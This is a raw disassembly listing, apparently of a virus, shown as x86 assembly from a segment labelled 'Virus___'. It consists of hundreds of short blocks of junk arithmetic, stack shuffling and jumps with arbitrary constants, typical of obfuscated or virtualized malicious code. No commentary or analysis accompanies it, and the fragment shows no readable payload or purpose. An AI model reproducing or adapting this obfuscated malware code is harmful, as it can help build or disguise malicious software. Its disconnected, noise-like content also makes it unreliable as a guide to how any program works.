loc_55C7BC: ; CODE XREF: Virus___:00562D4Cj mov cl, 87h jmp loc_55D7FA ; --------------------------------------------------------------------------- loc_55C7C3: ; CODE XREF: Virus___:0055472Dj xchg ecx, [esp] pop esp mov [esp], edx jmp loc_555263 ; --------------------------------------------------------------------------- loc_55C7CF: ; CODE XREF: Virus___:0055048Cj add esp, 4 push ebx jmp loc_55D3F9 ; --------------------------------------------------------------------------- loc_55C7DB: ; CODE XREF: Virus___:0055C24Dj push edx mov edx, 4 add ecx, edx mov edx, [esp] push eax mov eax, esp add eax, 4 jmp loc_553B13 ; --------------------------------------------------------------------------- loc_55C7F3: ; CODE XREF: Virus___:00560C3Cj sub ebx, esi pop esi sub ebx, 64827982h add ebx, eax add ebx, 64827982h add ebx, 79F25BB8h pop eax push 6952h mov [esp], ebx jmp loc_56197E ; --------------------------------------------------------------------------- loc_55C818: ; CODE XREF: Virus___:0055FB93j mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_554ACD ; --------------------------------------------------------------------------- loc_55C82E: ; CODE XREF: Virus___:00554F5Cj push edi mov edi, 1B6C52E3h jmp loc_54F940 ; --------------------------------------------------------------------------- loc_55C839: ; CODE XREF: Virus___:00563D86j mov ebp, ecx mov ecx, [esp] jmp loc_560871 ; --------------------------------------------------------------------------- loc_55C843: ; CODE XREF: Virus___:00560B3Dj mov edx, 620201E9h sub eax, 54006FDEh sub eax, edx add eax, 54006FDEh pop edx push 3EE4h mov [esp], ecx push 4CF62A11h pop ecx jmp loc_55FE65 ; --------------------------------------------------------------------------- loc_55C868: ; CODE XREF: Virus___:00562A1Bj add esp, 4 jmp loc_554424 ; --------------------------------------------------------------------------- loc_55C870: ; CODE XREF: Virus___:00559856j push ebp mov ebp, 6C3832F1h add ebp, 1 sub ebp, 110FFC63h jmp loc_5578E0 ; --------------------------------------------------------------------------- loc_55C884: ; CODE XREF: Virus___:0055AB99j push 74B0h mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 sub esp, 4 mov [esp], edi jmp loc_55525C ; --------------------------------------------------------------------------- loc_55C8B0: ; CODE XREF: Virus___:0055CB1Aj pop esp mov [esp], ebp mov ebp, 42256C1h jmp loc_552DC9 ; --------------------------------------------------------------------------- loc_55C8BE: ; CODE XREF: Virus___:005581A4j mov eax, 52195C93h jmp loc_551EC7 ; --------------------------------------------------------------------------- loc_55C8C8: ; CODE XREF: Virus___:00563C58j pop eax jmp loc_5514B1 ; --------------------------------------------------------------------------- loc_55C8CE: ; CODE XREF: Virus___:00559754j pop ebx push eax mov eax, 16BB317Ch sub eax, 52F221Bh xor ebx, eax mov eax, [esp] add esp, 4 push esi mov esi, ebx mov ecx, esi mov esi, [esp] add esp, 4 mov ebx, [esp] add esp, 4 neg ecx push edi mov edi, 8EFBD426h xor ecx, edi mov edi, [esp] jmp loc_5591FA ; --------------------------------------------------------------------------- loc_55C908: ; CODE XREF: Virus___:005635D7j mov eax, edi pop edi inc eax add eax, 2D7251AAh jmp loc_555402 ; --------------------------------------------------------------------------- loc_55C916: ; CODE XREF: Virus___:0054FC98j mov [esp], edx push edi mov edi, 3D6E5801h mov edx, edi pop edi push edx jmp loc_55B366 ; --------------------------------------------------------------------------- loc_55C928: ; CODE XREF: Virus___:00555BF3j mov edi, ebx pop ebx shl edi, 5 push edx mov edx, 67457720h xor edi, edx mov edx, [esp] push esi mov esi, esp push eax mov eax, 4 jmp loc_561778 ; --------------------------------------------------------------------------- loc_55C947: ; CODE XREF: Virus___:0056119Cj mov ecx, 16477D6Dh mov esi, ecx pop ecx shl esi, 3 jmp loc_55B494 ; --------------------------------------------------------------------------- loc_55C957: ; CODE XREF: Virus___:00554712j mov edi, ebx jmp loc_55A19F ; --------------------------------------------------------------------------- loc_55C95E: ; CODE XREF: Virus___:005598EFj pop esi push edi jmp loc_550A0F ; --------------------------------------------------------------------------- loc_55C965: ; CODE XREF: Virus___:0054FB66j push 12CCh mov [esp], eax mov eax, esp push ecx sub esp, 4 mov [esp], ebp jmp loc_55113E ; --------------------------------------------------------------------------- loc_55C97E: ; CODE XREF: Virus___:0055427Fj mov esp, [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push esi mov esi, esp jmp loc_551877 ; --------------------------------------------------------------------------- loc_55C992: ; CODE XREF: Virus___:00558AFCj pop edx jmp loc_55E637 ; --------------------------------------------------------------------------- loc_55C998: ; CODE XREF: Virus___:0055D731j mov [esp], edi push 2A766181h jmp loc_550502 ; --------------------------------------------------------------------------- loc_55C9A5: ; CODE XREF: Virus___:005629C3j mov [esp], edi push 2EF11733h pop edi or edi, 1C58082Dh inc edi not edi jmp loc_559144 ; --------------------------------------------------------------------------- loc_55C9BC: ; CODE XREF: Virus___:0055636Bj pop dword ptr [esp] push esi push ebp mov esi, [esp] add esp, 4 pop ebp jmp loc_55CD85 ; --------------------------------------------------------------------------- loc_55C9CD: ; CODE XREF: Virus___:005545D1j sub esi, 4A501087h jmp loc_550665 ; --------------------------------------------------------------------------- loc_55C9D8: ; CODE XREF: Virus___:00554623j pop ebp jmp loc_564CA8 ; --------------------------------------------------------------------------- loc_55C9DE: ; CODE XREF: Virus___:0055C0BCj pop esp or eax, eax jz loc_55C4DA push ebp push esp pop ebp push eax push 7957h mov [esp], edx mov edx, 181576ECh shr edx, 4 jmp loc_562D8D ; --------------------------------------------------------------------------- loc_55CA00: ; CODE XREF: Virus___:00564111j push ebp mov ebp, 3CE85746h mov edi, 3CE8574Ah sub edi, ebp pop ebp jmp loc_559A0B ; --------------------------------------------------------------------------- loc_55CA13: ; CODE XREF: Virus___:00564AA8j pop ecx pop edx add al, 12h sub al, 1Bh add al, bl jmp loc_55D90C ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_553DC6 ; --------------------------------------------------------------------------- loc_55CA2C: ; CODE XREF: Virus___:00553FD8j push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5621C4 ; --------------------------------------------------------------------------- loc_55CA45: ; CODE XREF: Virus___:00562BF9j pop ebx inc cl or cl, 7Ch shr cl, 8 jmp loc_5530F5 ; --------------------------------------------------------------------------- loc_55CA53: ; CODE XREF: Virus___:0055CDD3j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp xor al, ch pop ecx push ecx push ebx mov bl, 0B2h push edx mov dl, bl mov ch, dl pop edx push dword ptr [esp] jmp loc_55FCEB ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55CA7A: ; CODE XREF: Virus___:0055DC61j add ebp, 241378D5h jmp loc_563913 ; --------------------------------------------------------------------------- loc_55CA85: ; CODE XREF: Virus___:00555A7Dj mov ebx, 0 jmp loc_552B64 ; --------------------------------------------------------------------------- loc_55CA8F: ; CODE XREF: Virus___:005645B0j mov ebx, [esp] add esp, 4 not ecx shl ecx, 6 push ecx push edi pop ecx pop edi jmp loc_558544 ; --------------------------------------------------------------------------- loc_55CAA6: ; CODE XREF: Virus___:00553B37j add ch, 9Fh jmp loc_560073 ; --------------------------------------------------------------------------- loc_55CAAE: ; CODE XREF: Virus___:005578F0j add ebx, edx sub ebx, 212599Ah push dword ptr [esp] pop edx add esp, 4 pop edx push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] jmp loc_5614E5 ; --------------------------------------------------------------------------- loc_55CAD2: ; CODE XREF: Virus___:005541C0j push 6D31h mov [esp], esi pop dword ptr [ebx] push dword ptr [esp] pop esi jmp loc_556299 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55CAED: ; CODE XREF: Virus___:00554CCCj push edi push ebx mov ebx, 374E420Ch push esi mov esi, 0C5F1727h sub ebx, esi pop esi inc ebx shr ebx, 6 jmp loc_55E794 ; --------------------------------------------------------------------------- loc_55CB06: ; CODE XREF: Virus___:0055C2F0j sub eax, ebp jmp loc_54F859 ; --------------------------------------------------------------------------- loc_55CB0D: ; CODE XREF: Virus___:005573EEj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55C8B0 ; --------------------------------------------------------------------------- loc_55CB1F: ; CODE XREF: Virus___:00563A0Aj push ebp jmp loc_560922 ; --------------------------------------------------------------------------- loc_55CB25: ; CODE XREF: Virus___:00557949j pop edi pop edi jmp loc_558D0C ; --------------------------------------------------------------------------- loc_55CB2C: ; CODE XREF: Virus___:00557603j mov ebx, ecx mov esi, ebx pop ebx mov ecx, [esp] jmp loc_555977 ; --------------------------------------------------------------------------- loc_55CB39: ; CODE XREF: Virus___:00561456j sub esp, 4 mov [esp], esp jmp loc_56213C ; --------------------------------------------------------------------------- loc_55CB44: ; CODE XREF: Virus___:0055A564j push ebx jmp loc_558C9C ; --------------------------------------------------------------------------- loc_55CB4A: ; CODE XREF: Virus___:00553A5Cj sub al, 6Bh mov ebx, [esp] add esp, 4 push small 780Ah mov [esp], bx jmp loc_559DE1 ; --------------------------------------------------------------------------- loc_55CB5F: ; CODE XREF: Virus___:00550FDAj add eax, 4 jmp loc_557374 ; --------------------------------------------------------------------------- loc_55CB69: ; CODE XREF: Virus___:005613E0j mov [esp], ebx jmp loc_55D367 ; --------------------------------------------------------------------------- loc_55CB71: ; CODE XREF: Virus___:0055BE52j mov [esp], esi mov esi, 18E33895h jmp loc_55F773 ; --------------------------------------------------------------------------- loc_55CB7E: ; CODE XREF: Virus___:00558AD8j push ebx jmp loc_559789 ; --------------------------------------------------------------------------- loc_55CB84: ; CODE XREF: Virus___:00555466j push ecx push dword ptr [esp+4] pop ecx jmp loc_561B42 ; --------------------------------------------------------------------------- loc_55CB8F: ; CODE XREF: Virus___:0055F782j sub edi, esi pop esi sub edi, 0B530EA88h xor ecx, edi jmp loc_5639BD ; --------------------------------------------------------------------------- loc_55CB9F: ; CODE XREF: Virus___:0055F032j pop eax add ecx, 0BF01878h jmp loc_56258E ; --------------------------------------------------------------------------- loc_55CBAB: ; CODE XREF: Virus___:00558818j xor edx, esi xor esi, edx xor edx, esi sub edx, 6877C2BAh sub ebp, edx mov edx, [esp] add esp, 4 shr ebp, 1 push 7A5Dh mov [esp], esi sub esp, 4 mov [esp], ebp mov ebp, 58437493h dec ebp not ebp jmp loc_55859A ; --------------------------------------------------------------------------- loc_55CBDF: ; CODE XREF: Virus___:0055B2AEj push si mov si, 2 sub esp, 2 mov [esp], si mov si, 3A9Fh sub word ptr [esp+4], 982h add [esp+4], si add word ptr [esp+4], 982h mov si, [esp] push esi mov esi, esp add esi, 4 jmp loc_5504D7 ; --------------------------------------------------------------------------- loc_55CC18: ; CODE XREF: Virus___:00558C62j or edx, eax jmp loc_55806C ; --------------------------------------------------------------------------- loc_55CC1F: ; CODE XREF: Virus___:0055E21Fj xchg ebp, [esp] pop esp jmp loc_56228B ; --------------------------------------------------------------------------- loc_55CC28: ; CODE XREF: Virus___:0055678Cj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_554E5F ; --------------------------------------------------------------------------- loc_55CC56: ; CODE XREF: Virus___:0056142Fj add [esp+4], esi mov esi, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 jmp loc_55DC9B ; --------------------------------------------------------------------------- loc_55CC75: ; CODE XREF: Virus___:005501B6j or esi, 4D3C7BBDh shl esi, 3 not esi or esi, 6F9D64F9h xor esi, 37930C81h mov ebp, esi pop esi mov ecx, ebp pop ebp xor ecx, 1010660Eh jmp loc_55D329 ; --------------------------------------------------------------------------- loc_55CC9D: ; CODE XREF: Virus___:0055A6ABj add esp, 4 xor edx, 151D597Eh shl edx, 1 push ecx mov ecx, 1F5812B9h jmp loc_55A06F ; --------------------------------------------------------------------------- loc_55CCB3: ; CODE XREF: Virus___:00558FB5j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_557F06 ; --------------------------------------------------------------------------- loc_55CCC6: ; CODE XREF: Virus___:00561773j not ebp shl ebp, 3 neg ebp sub ebp, 0A368563Eh add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5511E1 ; --------------------------------------------------------------------------- loc_55CCE4: ; CODE XREF: Virus___:005644DBj push 0 sub [esp], edx pop edx xchg edx, ecx push 155Fh mov [esp], esi mov esi, 19D81305h or esi, 11FC37E1h or esi, 266C06F1h push edi mov edi, 62D33861h jmp loc_5609D1 ; --------------------------------------------------------------------------- loc_55CD13: ; CODE XREF: Virus___:00551460j mov [esp], ebx mov ebx, 4 sub edi, 0D3F1E48h add edi, ebx add edi, 0D3F1E48h mov ebx, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] jmp loc_554234 ; --------------------------------------------------------------------------- loc_55CD3D: ; CODE XREF: Virus___:0054FDF6j neg esi xor esi, 9E33E780h xor ebp, esi pop esi jmp loc_558A54 ; --------------------------------------------------------------------------- pop ecx add esp, 4 jmp loc_553BDD ; --------------------------------------------------------------------------- loc_55CD59: ; CODE XREF: Virus___:0055ED28j mov esp, [esp] sub esp, 4 mov [esp], esi push 4 pop esi and ecx, esi jmp loc_5591A6 ; --------------------------------------------------------------------------- loc_55CD6F: ; CODE XREF: Virus___:00550A2Aj sub ebp, 34AC1105h jmp loc_555499 ; --------------------------------------------------------------------------- loc_55CD7A: ; CODE XREF: Virus___:0055130Bj sub esp, 4 jmp loc_564131 ; --------------------------------------------------------------------------- loc_55CD85: ; CODE XREF: Virus___:0055C9C8j not ebp xchg ebp, esi xchg esi, [esp] mov edi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5536B8 ; --------------------------------------------------------------------------- loc_55CD9D: ; CODE XREF: Virus___:0055E242j add ebp, esi mov esi, [esp] add esp, 4 jmp loc_55432F ; --------------------------------------------------------------------------- loc_55CDAD: ; CODE XREF: Virus___:0055383Cj mov [esp], eax jmp loc_5637D1 ; --------------------------------------------------------------------------- loc_55CDB5: ; CODE XREF: Virus___:0055DB85j mov [esp], edi push dword ptr [esp+4] jmp loc_561BB8 ; --------------------------------------------------------------------------- loc_55CDC1: ; CODE XREF: Virus___:0055D71Ej or eax, 43853B2Dh neg eax sub eax, 0A40284BDh add edi, eax pop eax add edi, 4 jmp loc_55CA53 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5638E5 ; --------------------------------------------------------------------------- loc_55CDE1: ; CODE XREF: Virus___:005551D7j pop ebp add esp, 4 mov ecx, 2D832B4h sub ecx, esi jmp loc_556E30 ; --------------------------------------------------------------------------- loc_55CDF4: ; CODE XREF: Virus___:0055A732j mov al, cl mov bh, al mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55C2F5 ; --------------------------------------------------------------------------- loc_55CE12: ; CODE XREF: Virus___:00563EC6j mov edi, [esp] push 5983h mov [esp], esi mov esi, esp jmp loc_55BD60 ; --------------------------------------------------------------------------- loc_55CE24: ; CODE XREF: Virus___:005616BAj add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push esi mov esi, 75D17133h add eax, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_55C2D7 ; --------------------------------------------------------------------------- loc_55CE50: ; CODE XREF: Virus___:00563070j shr al, 4 xor al, 0F2h jmp loc_558D55 ; --------------------------------------------------------------------------- loc_55CE5A: ; CODE XREF: Virus___:0055E876j add eax, esi pop esi pop ecx jmp loc_554554 ; --------------------------------------------------------------------------- loc_55CE63: ; CODE XREF: Virus___:00558680j push 346Eh mov [esp], edx jmp loc_56032B ; --------------------------------------------------------------------------- loc_55CE70: ; CODE XREF: Virus___:005634E4j mov edx, [esp] add esp, 4 add edx, 4 jmp loc_5647A5 ; --------------------------------------------------------------------------- loc_55CE84: ; CODE XREF: Virus___:00550846j mov edi, esp add edi, 4 add edi, 4 jmp loc_554D0D ; --------------------------------------------------------------------------- loc_55CE97: ; CODE XREF: Virus___:00555CA5j mov esi, 3329CAA0h xor edi, esi pop esi xor eax, edi push dword ptr [esp] push dword ptr [esp] jmp loc_56057E ; --------------------------------------------------------------------------- loc_55CEAC: ; CODE XREF: Virus___:0055D06Cj push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 jmp loc_556483 ; --------------------------------------------------------------------------- loc_55CEBD: ; CODE XREF: Virus___:0055422Fj sub edi, 0FD57F7F9h add esi, 1FA1122h add esi, edi sub esi, 1FA1122h jmp loc_551C75 ; --------------------------------------------------------------------------- loc_55CED6: ; CODE XREF: Virus___:00562C69j pop edi xor ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_55FEE8 ; --------------------------------------------------------------------------- loc_55CEEA: ; CODE XREF: Virus___:0055A783j mov edx, [esp] jmp loc_5530FD ; --------------------------------------------------------------------------- loc_55CEF2: ; CODE XREF: Virus___:0055454Fj add esi, edi pop edi sub eax, esi pop esi add eax, edx jmp loc_558AF7 ; --------------------------------------------------------------------------- loc_55CEFF: ; CODE XREF: Virus___:0055A12Cj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_558F32 ; --------------------------------------------------------------------------- loc_55CF13: ; CODE XREF: Virus___:005563DDj pop ebp push edx mov edx, 3CDC4758h inc edx jmp loc_5531E2 ; --------------------------------------------------------------------------- loc_55CF20: ; CODE XREF: Virus___:00552069j sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax push esi push ecx mov ecx, 1EF26E04h mov esi, ecx jmp loc_555201 ; --------------------------------------------------------------------------- push 368Ah mov [esp], ecx mov ecx, 200h or [edi+1Ch], ecx push dword ptr [esp] push dword ptr [esp] pop ecx push edx jmp loc_5564CB ; --------------------------------------------------------------------------- loc_55CF58: ; CODE XREF: Virus___:0055A7FDj add esp, 4 add esp, 4 jmp loc_55A2B9 ; --------------------------------------------------------------------------- loc_55CF66: ; CODE XREF: Virus___:005627F9j and ecx, ebp pop ebp shr ecx, 0Bh push ebx jmp loc_561EA5 ; --------------------------------------------------------------------------- loc_55CF72: ; CODE XREF: Virus___:00550B2Fj pop edi push ecx mov ecx, 52C814F1h and edi, ecx pop ecx push edx jmp loc_5548E6 ; --------------------------------------------------------------------------- loc_55CF82: ; CODE XREF: Virus___:005569F3j push dword ptr [esp] pop esi add esp, 4 push 74D5h jmp loc_553DAF ; --------------------------------------------------------------------------- loc_55CF96: ; CODE XREF: Virus___:005609F3j sub esp, 4 mov [esp], ebx jmp loc_55AEC1 ; --------------------------------------------------------------------------- loc_55CFA1: ; CODE XREF: Virus___:00558AAEj mov eax, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55491E ; --------------------------------------------------------------------------- loc_55CFB2: ; CODE XREF: Virus___:005599F6j pop edx add edx, 4 push ebx push edx mov edx, 12ED396Ah jmp loc_55356F ; --------------------------------------------------------------------------- loc_55CFC5: ; CODE XREF: Virus___:00557228j push eax xor dword ptr [esp], 73827A0Dh pop ebx jmp loc_5577DD ; --------------------------------------------------------------------------- loc_55CFD3: ; CODE XREF: Virus___:00557E6Ej mov eax, [esp] push ebx mov ebx, esp jmp loc_5557AF ; --------------------------------------------------------------------------- loc_55CFDE: ; CODE XREF: Virus___:005586DBj push 4321h jmp loc_559A25 ; --------------------------------------------------------------------------- loc_55CFE8: ; CODE XREF: Virus___:0055549Cj pop edx push ebx mov ebx, esp push esi mov esi, 0C68253Dh xor esi, 0C682539h add ebx, esi pop esi push esi mov esi, 4E2D1E62h shl esi, 1 add esi, 63A5C340h jmp loc_54FE5C ; --------------------------------------------------------------------------- loc_55D00E: ; CODE XREF: Virus___:005603AEj mov esi, 546C11CFh inc esi push eax mov eax, 727800EBh shr eax, 6 shl eax, 5 shr eax, 7 dec eax jmp loc_564AAD ; --------------------------------------------------------------------------- loc_55D029: ; CODE XREF: Virus___:005569D0j pop esp or eax, eax jz loc_55A3EF push 3D28h jmp loc_55D432 ; --------------------------------------------------------------------------- loc_55D03C: ; CODE XREF: Virus___:0055A39Aj add esp, 4 jmp loc_5514F1 ; --------------------------------------------------------------------------- loc_55D047: ; CODE XREF: Virus___:0055544Dj pop ecx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push 116Dh mov [esp], ebp push esp mov ebp, [esp] jmp loc_557C0B ; --------------------------------------------------------------------------- loc_55D06B: ; CODE XREF: Virus___:00559E78j pop ebp jmp loc_55CEAC ; --------------------------------------------------------------------------- loc_55D071: ; CODE XREF: Virus___:00560CAEj add eax, 4 jmp loc_551803 ; --------------------------------------------------------------------------- loc_55D079: ; CODE XREF: Virus___:00560D72j mov [esp], esi push ecx push ebp jmp loc_55B06F ; --------------------------------------------------------------------------- loc_55D083: ; CODE XREF: Virus___:0055B8B6j mov [esp], edx push ebp mov ebp, 77DF6D59h push ebp not dword ptr [esp] pop ebp sub ebp, 64DE23F9h jmp loc_554877 ; --------------------------------------------------------------------------- loc_55D09C: ; CODE XREF: Virus___:00550FC8j mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55D0A8: ; CODE XREF: Virus___:0055E7EAj sub ebx, eax jmp loc_54FC8A ; --------------------------------------------------------------------------- loc_55D0AF: ; CODE XREF: Virus___:0055FCF7j inc ch shl ch, 4 shl ch, 7 dec ch push eax mov ah, 0FCh jmp loc_555ABD ; --------------------------------------------------------------------------- loc_55D0C1: ; CODE XREF: Virus___:0054FED0j push esp jmp loc_562C0A ; --------------------------------------------------------------------------- loc_55D0C7: ; CODE XREF: Virus___:00557264j sub esp, 4 mov [esp], ecx mov ecx, 71B918ADh shl ecx, 3 push ebp mov ebp, 86CC8h push 7CE3h mov [esp], ebx jmp loc_56193F ; --------------------------------------------------------------------------- loc_55D0E8: ; CODE XREF: Virus___:0055233Fj pop esi add esp, 4 push eax jmp loc_563B79 ; --------------------------------------------------------------------------- loc_55D0F2: ; CODE XREF: Virus___:0055ED4Ej pop edi xor ebp, edx pop edx xor eax, ebp jmp loc_564297 ; --------------------------------------------------------------------------- loc_55D0FD: ; CODE XREF: Virus___:00561033j mov bl, cl mov dh, bl jmp loc_563BCD ; --------------------------------------------------------------------------- loc_55D106: ; CODE XREF: Virus___:00560AC0j add esp, 4 jmp loc_564110 ; --------------------------------------------------------------------------- loc_55D10E: ; CODE XREF: Virus___:00552B3Dj push ecx mov ecx, 3B5F4F61h inc ecx add ecx, 5152B49Bh add esi, ecx pop ecx mov edx, esi mov esi, [esp] add esp, 4 sub edx, 28DE2E96h add edx, ecx add edx, 28DE2E96h mov ecx, [esp] add esp, 4 jmp loc_559953 ; --------------------------------------------------------------------------- loc_55D13F: ; CODE XREF: Virus___:00552C77j test ecx, eax pushf jmp loc_564B24 ; --------------------------------------------------------------------------- loc_55D147: ; CODE XREF: Virus___:005636D7j inc ebx and ebx, 30C400A3h or ebx, 50182326h jmp loc_550DD2 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_55A056 ; --------------------------------------------------------------------------- loc_55D168: ; CODE XREF: Virus___:00559ABFj inc ebx sub ebx, 37F79FE3h jmp loc_556D64 ; --------------------------------------------------------------------------- loc_55D174: ; CODE XREF: Virus___:0055AC4Cj add dword ptr [esp], 4 jmp loc_55864E ; --------------------------------------------------------------------------- loc_55D17D: ; CODE XREF: Virus___:00561815j not ebp shr ebp, 1 add ebp, 0B7EFB7F8h add edx, ebp pop ebp push ebp mov ebp, esp jmp loc_552B7C ; --------------------------------------------------------------------------- loc_55D192: ; CODE XREF: Virus___:0055F24Dj mov esp, [esp] sub esp, 4 jmp loc_559900 ; --------------------------------------------------------------------------- loc_55D19D: ; CODE XREF: Virus___:00561AA3j mov ebx, 4 sub dword ptr [esp+4], 42D777D4h add dword ptr [esp+4], 0AE05EFFh add [esp+4], ebx jmp loc_55E552 ; --------------------------------------------------------------------------- loc_55D1BB: ; CODE XREF: Virus___:0055FA6Ej push ebp not dword ptr [esp] pop ebp xor ebp, 27B331FBh push edi mov edi, 17196C4Ah push ebp mov ebp, 27CC0CA4h not ebp inc ebp xor ebp, 20C6556Eh jmp loc_551E13 ; --------------------------------------------------------------------------- loc_55D1E0: ; CODE XREF: Virus___:00556D0Fj pop esp mov [esp], esi push esi push 2E1Ah mov [esp], esp push esi mov esi, 4 add [esp+4], esi jmp loc_5610A8 ; --------------------------------------------------------------------------- loc_55D1FC: ; CODE XREF: Virus___:00562C93j add ecx, 4 push edx mov edx, 62CB7642h neg edx neg edx or edx, 21540A2h jmp loc_5573CF ; --------------------------------------------------------------------------- loc_55D217: ; CODE XREF: Virus___:00558145j dec dl push ebx mov bl, 0B5h jmp loc_54FA17 ; --------------------------------------------------------------------------- loc_55D221: ; CODE XREF: Virus___:00562732j and eax, 4C2E1B70h push edx push ecx mov ecx, 264B0DD1h jmp loc_55A952 ; --------------------------------------------------------------------------- loc_55D232: ; CODE XREF: Virus___:0055F742j sub edx, 78AA6CC9h sub edx, esi add edx, 78AA6CC9h pop esi xchg edx, [esp] pop esp mov [esp], ecx push edx mov edx, 31024363h push ecx mov ecx, 67B909A7h shr ecx, 7 shr ecx, 1 jmp loc_551AA7 ; --------------------------------------------------------------------------- loc_55D25E: ; CODE XREF: Virus___:0055893Ej push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_561B99 ; --------------------------------------------------------------------------- loc_55D26C: ; CODE XREF: Virus___:0055961Fj add edx, edi add edx, 7F4E4BFCh pop edi xchg edx, [esp] pop esp sub ebp, 1 push 0 sub [esp], ebp pop ebp sub esp, 4 jmp loc_557FA4 ; --------------------------------------------------------------------------- loc_55D293: ; CODE XREF: Virus___:0055FF8Aj push 34F8h mov [esp], eax push 1871h mov [esp], esi push edx push 250F3FAEh pop edx not edx jmp loc_5616BF ; --------------------------------------------------------------------------- loc_55D2B1: ; CODE XREF: Virus___:0055A4BCj pop dword ptr [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55D2C0: ; CODE XREF: Virus___:00551A80j mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] push ebp jmp loc_560C41 ; --------------------------------------------------------------------------- loc_55D2D0: ; CODE XREF: Virus___:0054FB24j add eax, 0DCF24A8h jmp loc_55A153 ; --------------------------------------------------------------------------- loc_55D2DA: ; CODE XREF: Virus___:0055FC4Ej push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_562BFE ; --------------------------------------------------------------------------- loc_55D2EF: ; CODE XREF: Virus___:00559749j inc dword ptr [esp] jmp loc_552720 ; --------------------------------------------------------------------------- loc_55D2F7: ; CODE XREF: Virus___:0055975Aj mov ebx, 4 sub esp, 4 mov [esp], edi mov edi, 6C98735Bh add ecx, edi jmp loc_55C014 ; --------------------------------------------------------------------------- loc_55D311: ; CODE XREF: Virus___:00551030j push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_559FCA ; --------------------------------------------------------------------------- loc_55D31D: ; CODE XREF: Virus___:00557790j push eax jmp loc_557B61 ; --------------------------------------------------------------------------- loc_55D323: ; CODE XREF: Virus___:0054FD41j push eax jmp loc_564BB9 ; --------------------------------------------------------------------------- loc_55D329: ; CODE XREF: Virus___:0055CC98j add ecx, 0F57927C1h sub esp, 4 mov [esp], ecx push ebp mov ebp, 7665057Bh sub [esp+4], ebp pop ebp mov ebx, [esp] add esp, 4 jmp loc_562F08 ; --------------------------------------------------------------------------- loc_55D34E: ; CODE XREF: Virus___:005514ACj sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], esi push ecx mov ecx, 1 mov esi, ecx jmp loc_5632AB ; --------------------------------------------------------------------------- loc_55D367: ; CODE XREF: Virus___:0055CB6Cj push 3B26h jmp loc_55045B ; --------------------------------------------------------------------------- loc_55D371: ; CODE XREF: Virus___:00556C64j pop ebx jmp loc_55AA6E ; --------------------------------------------------------------------------- loc_55D377: ; CODE XREF: Virus___:00551319j shl esi, 7 jmp loc_5524BA ; --------------------------------------------------------------------------- loc_55D37F: ; CODE XREF: Virus___:0055022Dj shr ecx, 0Ah push ebp push esp pop ebp sub esp, 4 jmp loc_55B3F9 ; --------------------------------------------------------------------------- loc_55D390: ; CODE XREF: Virus___:0055795Aj add ecx, ebx jmp loc_55FD74 ; --------------------------------------------------------------------------- loc_55D397: ; CODE XREF: Virus___:005627A8j or ebp, 37941C2Fh jmp loc_561D95 ; --------------------------------------------------------------------------- loc_55D3A2: ; CODE XREF: Virus___:00550031j add esi, 7A6B73D6h add esi, eax sub esi, 7A6B73D6h pop eax push ebp push edi mov edi, 7C6F2A75h mov ebp, edi jmp loc_5600A7 ; --------------------------------------------------------------------------- loc_55D3BF: ; CODE XREF: Virus___:00556C5Dj sub edi, edx sub edi, 2CB1573h mov edx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 4 sub esp, 4 jmp loc_55DE05 ; --------------------------------------------------------------------------- loc_55D3EF: ; CODE XREF: Virus___:0056245Dj push ebx push dword ptr [esp+4] jmp loc_5560D3 ; --------------------------------------------------------------------------- loc_55D3F9: ; CODE XREF: Virus___:0055C7D6j push ecx mov ecx, 0A9A307Ch mov ebx, ecx mov ecx, [esp] add esp, 4 xor ecx, ebx pop ebx sub ebx, ecx jmp loc_558153 ; --------------------------------------------------------------------------- loc_55D414: ; CODE XREF: Virus___:00561C02j push 7A11h mov [esp], ebp sub dword ptr [esp], 1 pop ebp jmp loc_54FA99 